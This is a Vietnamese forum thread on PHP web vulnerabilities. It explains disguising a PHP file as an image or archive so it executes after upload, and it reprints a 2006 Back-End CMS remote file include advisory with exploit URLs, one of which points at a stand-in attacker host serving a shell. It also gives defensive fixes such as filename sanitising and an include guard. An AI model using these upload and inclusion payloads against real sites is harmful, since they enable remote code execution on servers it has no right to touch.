mrdung wrote:

Chỉ có server củ chuối lắm mới xảy ra lổi này, hiện tại minetype cho phép thực thi các câu lệnh PHP với các đuôi được cho phép. 

Hi hi bạn nhầm rồi, rất nhiều server xịn cũng bị vì đây là lỗi nhìn theo góc độ của bảo mật, chứ thực ra nó là một feature của Apache, tôi đã check một số tài khoản của mình trên nhiều server khác nhau, tất cả đều cho phép chạy file PHP có đuôi là RAR hay JPG, GIF... 

taianhlacontrai wrote:

để làm thử với localhost trong win được không ? nhưng trong host của win file .htaccess không có tác dụng gì thì phải ?? 

Nếu bạn thử trong Win thì sửa cái mục này trong httpd.conf :

AddType application/x-httpd-php .php .php3 .phtml .html

Muốn nó chạy tệp đuôi kiểu gì cũng được, kể cả tên mình  

Có cái lỗi này to đùng mà chưa thấy ai nhắc tới nhỉ :lol:

Ví dụ ta có đoạn code PHP sau :

Code:

<?php
print( phpinfo( ) );
?>

Save lại thành tệp my_file.php.rar rồi tải lên server bằng script của victim, nếu xác định được chỗ của tệp tin thì sẽ xem được thông tin của server với phpinfo( );, có thể chèn code tùy ý vào tệp PHP này.

Bạn có thể thử bằng chính host của mình, có thể thay .rar bằng .jpg hay .gif để đánh lừa script của victim để nó tưởng là tệp ảnh. Khi ta gõ vào đường dẫn với tên của tệp ảnh đó thì sẽ chạy cái file PHP hoặc Perl (.pl) đó.

Sau khi bạn đã xem post này rồi thì hãy cập nhật ngay các script của mình, cách đơn giản nhất là thay toàn bộ các dấu chấm (.) bằng underscore (_), trừ dấu chấm của đuôi tệp tin ra.

Code:

$file = ereg_replace( "\.", "_", $file );

 

Chẳng ai tự ti cả, VN có hàng tá người phát hiện bug ý chứ, tuy nhiên phát hiện thật thì phải công bố và credit rõ ràng lên securityfocus hay tracker để mọi người kiểm chứng 

Topic : Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability

ExploitAlert Id : 633

Credit : Kacper

Date : 27.5.2006
Download


Exploit Code :

################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
# Back-End CMS - Remote File Include Vulnerabilities
# Find by Kacper (Rahim).
# Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
# Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl
# Site of script: http://www.back-end.org
#
####################################################################
*/

BE_config.php Line 27-31:

Code:

...
// Script timer
require_once($_PSL['classdir'] . '/BE_phpTimer.class');
$scriptTimer = & pslSingleton('phpTimer');
$scriptTimer->start('main');
/* Use Example
...

/*

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts]

#Elo


ExploitAlert Id : 633

Credit : Kacper
http://securityreason.com/exploitalert/633
Date : 27.5.2006
Bạn Dũnglà chủ nhân hồi nào vậy? 

<?php
// $Id: BE_config.php,v 1.147 2005/06/22 20:40:33 mgifford Exp $
/**
* Back-End configuration file
*
* @package Back-End
* @version 0.7 $Id: BE_config.php,v 1.147 2005/06/22 20:40:33 mgifford Exp $
* @copyright Copyright (C) 2003 OpenConcept Consulting
*
* This file is part of Back-End.
*
* Back-End is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Back-End is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Back-End; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

// Script timer
require_once($_PSL['classdir'] . '/BE_phpTimer.class');  

http://www.example.com/BE_config.php?_PSL[classdir]=http://www.attachker/shell.php_? 

<form action="script.php" method="post">
<input type="text" name="dungit" />
<input type="submit" value="OK" />
</form>

 

<?php
//........
include($dungit.'confing.php');
//........
?>  

<?php

//......
include('common.php');
//......
?>  

if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
 

<?php
if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
//........
include($dungit.'confing.php');
//........
?>  

define('ACCESSOK', true);
$dungit = null; 

<?php
define('ACCESSOK', true);
$dungit = null;
//......
include('common.php');
//......
?>  

Không hiểu tại sao con Netcat của mình đánh lệnh vào là nó tắt luôn.cho mình con Netcat for Win nhé.đa tạ